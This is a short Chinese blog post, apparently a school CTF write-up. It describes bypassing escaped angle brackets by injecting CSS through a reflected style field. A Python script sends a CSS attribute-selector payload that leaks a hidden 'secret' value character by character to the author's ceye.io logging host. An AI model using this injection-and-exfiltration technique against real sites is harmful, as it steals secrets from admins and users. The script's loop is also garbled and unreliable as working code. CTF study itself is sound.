Xi4or0uji's blog

很简单的xss

字数统计: 305阅读时长: 1 min
2018/11/14 Share

继续是校赛题,这题我们进去看到一个留言框,然后题目提示写下建议,管理员会去看的,结合题目,确定是反射型xss了,尝试一下插入一下js语句进留言板,发现没反应,看下源码发现尖括号被转义了………
emmm………看来想直接简单粗暴的利用是不行的了,继续回去上一页看一下,看见有个选择框,可以选择字体的样式,抓下包改下值成1212,发现在下一个页面的style属性里面有1212………..
嗯,这波操作有丶东西,style属性里面的语句可控,就可以搞事情了,因为现在的浏览器版本比较高,尝试了一下直接利用js伪代码发现不行,只能一个个匹配然后弹回去自己的平台
最后脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
strs = "0123456789_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
url = "http://laohulaohuhu.cn:32772/"
flag = ""
flag0 = ""
for ch in strs:
flag = flag0 + ch
print("trying "+ flag)
key = {'feedback':'111','style':'#secret[value^="' + flag + '"]{background: url(\'http://abcdef.ceye.io/?xss=' + flag + '\');}'}
r = requests.post(url=url,data=key)
if r.status_code == 200:
print flag
flag0 = flag
print(flag0)

剩下的可以去自己的平台看一下有没有打到,flag也能出来了

CATALOG